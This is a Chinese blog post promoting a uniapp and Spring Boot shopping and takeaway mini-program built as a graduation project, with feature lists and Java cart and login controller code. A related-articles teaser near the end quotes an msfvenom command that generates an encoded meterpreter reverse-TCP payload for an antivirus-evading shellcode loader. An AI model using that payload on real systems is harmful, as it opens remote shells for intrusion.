基于uniapp的商城外卖小程序

news2025/6/24 19:15:09

博主主页:猫头鹰源码

博主简介:Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万+、专注Java技术领域和毕业设计项目实战

主要内容:毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询

文末联系获取

项目介绍: 

本系统2023创作完成,该系统包含小程序端和管理端,系统小程序端采用uniapp实现,小程序接口和管理端采用springboot完成,使用mysql数据库。

项目功能:

用户功能:

登录注册
个人信息维护和更新
余额充值、地址维护、广告展示
签到获取积分、积分可兑换商品
查看我的订单和评价
可以使用自取或外卖购买商品
分类查看商品,加入购物车
结算购物车商品
等待取货或自取

管理员功能:

用户管理、分类管理、商品管理、充值记录、地址管理、签到记录、积分商品管理、用户兑换记录、订单管理、评价管理、广告管理、管理员管理。

系统包含技术:

管理端:springboot、layui
小程序端:uniapp、uview、js、css等
开发工具:idea/hbuilder
数据库:mysql 5.7
JDK版本:jdk1.8

部分截图说明:

下面是小程序首页

小程序登录

小程序商品

小程序购物车

小程序付款

小程序个人中心

小程序订单详情

小程序积分商城

后台登录

后台首页

后台用户管理

后台商品管理

后台广告管理

部分代码:

购物车操作

 /**
     * 分页查询
     * pageIndex 当前页码
     * pageSize  显示条数
     */
    @RequestMapping(value = "/findCart")
    public String findCart(Integer pageIndex, Integer pageSize, Model model,HttpServletRequest request) {
        HttpSession session = request.getSession();
        if(session.getAttribute("ad") == null){
            session.setAttribute("msg", "对不起,请登录!");
            return "login";
        }
        Map mp = new HashMap();
        PageInfo<Cart> pageList = cartService.findPageInfo(pageIndex,pageSize,mp);
        model.addAttribute("pageList",pageList);
        return "CartList";
    }
 
 
    /**
     * 添加
     */
    @RequestMapping(value = "/addCart" ,method = RequestMethod.POST)
    @ResponseBody
    public String addCart( @RequestBody Cart cart) {
        try{
            SimpleDateFormat sf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            cart.setCreateTime(sf.format(new Date()));
            cartService.addCart(cart);
            return "200";
        }catch (Exception e){
            e.printStackTrace();
            return "201";
        }
    }
 
 
    /**
     * 删除
     */
    @RequestMapping( "/deleteCart")
    @ResponseBody
    public String deleteCart(String id) {
        int d = cartService.deleteCart(id);
        return "CartList";
    }
 
 
    /**
     * 修改
     */
    @RequestMapping( "/updateCart")
    @ResponseBody
    public String updateCart(@RequestBody  Cart cart) {
        try{
            cartService.updateCart(cart);
            return "200";
        }catch (Exception e){
            e.printStackTrace();
            return "201";
        }
    }
 
 
    /**
     * 按照ID查询
     */
    @RequestMapping( "/findCartById")
    @ResponseBody
    public Cart findCartById(String id,Model model,HttpServletRequest request) {
        Cart cart= cartService.findCartById(id);
        return cart;
    }

 登录

/**
     * 登录
     * 将提交数据(username,password)写入Admin对象
     */
    @RequestMapping(value = "/login")
    public String login(Admin admin, Model model, HttpSession session, HttpServletRequest request) {
        if(admin.getUsername()==null || admin.getUsername().length()<=0 ){
            model.addAttribute("msg", "请输入用户名!");
            return "login";
        }
        if(admin.getPassword()==null || admin.getPassword().length()<1){
            model.addAttribute("msg", "请输入密码!");
            return "login";
        }
        Map mp = new HashMap();
        mp.put("username",admin.getUsername());
        mp.put("password",admin.getPassword());
        List<Admin> ad = adminService.queryFilter(mp);
        if(ad!=null && ad.size()==1){
            session.setAttribute("ad", ad.get(0));
            session.setAttribute("type", "01");
            return "homepage";
        }else{
            model.addAttribute("msg", "请确定账户信息是否正确!");
            return "login";
        }
    }

以上就是部分功能展示,从整体上来看,本系统功能是十分完整的,界面设计简洁大方,交互友好,数据库设计也很合理,规模适中,代码工整,清晰,适合学习使用。

好了,今天就到这儿吧,小伙伴们点赞、收藏、评论,一键三连走起呀,下期见~~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1086054.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【数据结构-栈 二】【单调栈】每日温度、接雨水

废话不多说&#xff0c;喊一句号子鼓励自己&#xff1a;程序员永不失业&#xff0c;程序员走向架构&#xff01;本篇Blog的主题是【单调栈的应用】&#xff0c;使用【栈】这个基本的数据结构来实现&#xff0c;这个高频题的站点是&#xff1a;CodeTop&#xff0c;筛选条件为&am…

python加载shellcode免杀

1、第一个shellcode加载器 import ctypes# msf生成的shellcode&#xff0c;命令&#xff1a;msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost192.168.111.111 lport80 -f py -o shell.py buf b"" buf b"\xeb\x27\x5b\x53\…

[Swift]同一个工程管理多个Target

1.准备 先创建一个测试工程“ADemo”&#xff0c;右键其Target选择Duplicate&#xff0c;再复制一个Target为“ADemo2”。 再选择TARGETS下方的“”&#xff0c;添加一个APP到项目中&#xff0c;这个命名为“BDemo”。 2、管理多个Target 可以对三个target分别导入不同的框…

SEO盲目优化带来的严重后果(警惕过度依赖SEO优化的风险)

SEO&#xff08;SearchEngineOptimization&#xff09;优化是提高网站在搜索引擎中排名&#xff0c;吸引更多流量的重要手段。但是&#xff0c;为了追求更高的排名和流量&#xff0c;很多企业或个人对SEO优化盲目依赖&#xff0c;而忽视了网站的质量与用户体验&#xff0c;这将…

python随手小练5

1、求1-100的累加和&#xff08;终止条件 1-100&#xff09;&#xff08;while和for两种&#xff09; #while循环 count 0 index 0 while index < 100:count indexindex 1 print(count)#for循环 sum 0 for i in range(0,101):sum i print(sum)结果&#xff1a; 5050 2…

Go If流程控制与快乐路径原则

Go if流程控制与快乐路径原则 文章目录 Go if流程控制与快乐路径原则一、流程控制基本介绍二、if 语句2.1 if 语句介绍2.2 单分支结构的 if 语句形式2.3 Go 的 if 语句的特点2.3.1 分支代码块左大括号与if同行2.3.2 条件表达式不需要括号 三、操作符3.1 逻辑操作符3.2 操作符的…

【Java 进阶篇】JavaScript二元运算符详解

JavaScript是一门多用途的编程语言&#xff0c;它支持各种运算符&#xff0c;包括二元运算符。二元运算符用于执行两个操作数之间的操作&#xff0c;这两个操作数通常是变量、值或表达式。在本篇博客中&#xff0c;我们将详细探讨JavaScript的二元运算符&#xff0c;包括它们的…

SpringCloud微服务(简略笔记一)

目录 介绍 ​编辑 认识微服务 单体架构 分布式架构 微服务分析&#xff1a; 分布式架构(SpringCloud微服务) 服务拆分与服务远程调用&#xff1a; 提供者与消费者 微服务治理 Eureka注册中心 操作步骤 Ribbon负载均衡 负载均衡流程 自定义负载均衡策略 饥饿加载 …

手把手改进yolo训练自己的数据(坑洼路面识别)

结果展示 在Pothole Detection数据集上对YOLOv7进行微调的步骤如下&#xff1a; 0 环境配置 if not os.path.exists(yolov7): !git clone https://github.com/WongKinYiu/yolov7.git %cd yolov7 !pip install -r requirements.txt数据集准备&#xff1a; 收集一个专门用于po…

栈的运行算法

一&#xff0c;顺序栈的静态分配 二&#xff0c;顺序栈的动态分配 #include<stdio.h> #include<stdlib.h> #define initsize 5 #define incresize 5typedef struct Sqstack{int *base;int *top;int stacksize; }Sqstack;void InitStack(Sqstack *s){(*s).base(int…

数字孪生技术:新零售的未来之路

随着科技的不断进步&#xff0c;新零售产业正经历着巨大的变革。数字孪生作为一种新兴技术正在加速这一变革的进程。它不仅为新零售企业带来了更高效的运营方式&#xff0c;还为消费者提供了更个性化、便捷的购物体验。那么&#xff0c;数字孪生技术究竟如何在新零售产业中发挥…

选择同步云盘工具?这些值得一试的优秀选择!

对于云盘用户而言&#xff0c;同步功能是影响产品选择的重要因素。在日常办公过程中&#xff0c;我们难免会遇到需要查看文件&#xff0c;但是存储文件的原设备不在身边的情况。这个时候同步云盘的重要性就显现出来了. 同步云盘的优势 文件同步&#xff1a;同步云盘可以将文件…

L05_SpringBoot入门

SpringBoot入门 浅谈Restful风格代码实现(并且通过Apifox进行接口测试[以传入json格式数据为例])首先创建一个SpringBoot项目,pom文件包引入如下下面在新建src创建com.ndky.controller包,然后再在包内创建一个HelloController类编写(一个简易的restful风格的代码)编写GET请求代…

正则表达式基础语法

https://tool.oschina.net/regex 正则表达式&#xff1a;检查、匹配字符串的表达式 单个字符匹配&#xff1a; 有特殊含义的匹配&#xff1a; 多次重复匹配&#xff1a; 限定开头结尾的匹配&#xff1a; 贪婪模式&#xff1a;在满足条件的情况下&#xff0c;尽可能多匹配…

Python算法练习 10.12

leetcode 649 Dota2参议院 Dota2 的世界里有两个阵营&#xff1a;Radiant&#xff08;天辉&#xff09;和 Dire&#xff08;夜魇&#xff09; Dota2 参议院由来自两派的参议员组成。现在参议院希望对一个 Dota2 游戏里的改变作出决定。他们以一个基于轮为过程的投票进行。在每…

MNIST字符识别(C++)

构建网络 采用官方示例的的lenet网络 训练 相关文件都已编译好&#xff0c;下载后执行命令即可 .\caffe-bin.exe train --solver .\lenet_solver.prototxt 识别 #include <caffe/caffe.hpp>#include <opencv2/core/core.hpp> #include <opencv2/highgui/hi…

炒现货白银的最佳时间

天时地利人和是我们进行现货白银投资最关键的因素。天时是指我们因时而动&#xff0c;在适合的时机出击。地利&#xff0c;就是我们对市场的定位&#xff0c;对自己入场的定位有清晰的了解&#xff0c;并且这些位置对我们有利。人和就是指投资者的状态很好&#xff0c;对如何进…

STM32MP157按键中断实验

按键配置 #include "key_it.h" #include "stm32mp1xx_gpio.h" #include "stm32mp1xx_gic.h" #include "stm32mp1xx_exti.h" #include "stm32mp1xx_rcc.h"void key_it_config() {/* RCC使能GPIOF时钟 */RCC->MP_AHB4ENSE…

九章云极DataCanvas公司入选《AIGC产业链北京专精特新企业图谱》

近日&#xff0c;北京市经济和信息化局成功举办AIGC&#xff08;生成式人工智能&#xff09;产业链专精特新企业融通路演活动&#xff0c;并正式发布《AIGC产业链北京市专精特新企业图谱》&#xff08;下称《图谱》&#xff09;。九章云极DataCanvas公司凭借DataCanvas Alaya九…

Python- socket编程

Python中的socket模块为网络通信提供了基础API&#xff0c;使我们能够在应用程序中实现低级的网络交互。使用socket编程&#xff0c;可以创建TCP、UDP和RAW sockets来进行数据通信。 以下是Python socket 编程的简要概述&#xff1a; 1. 核心概念 Socket: 通信的端点&#x…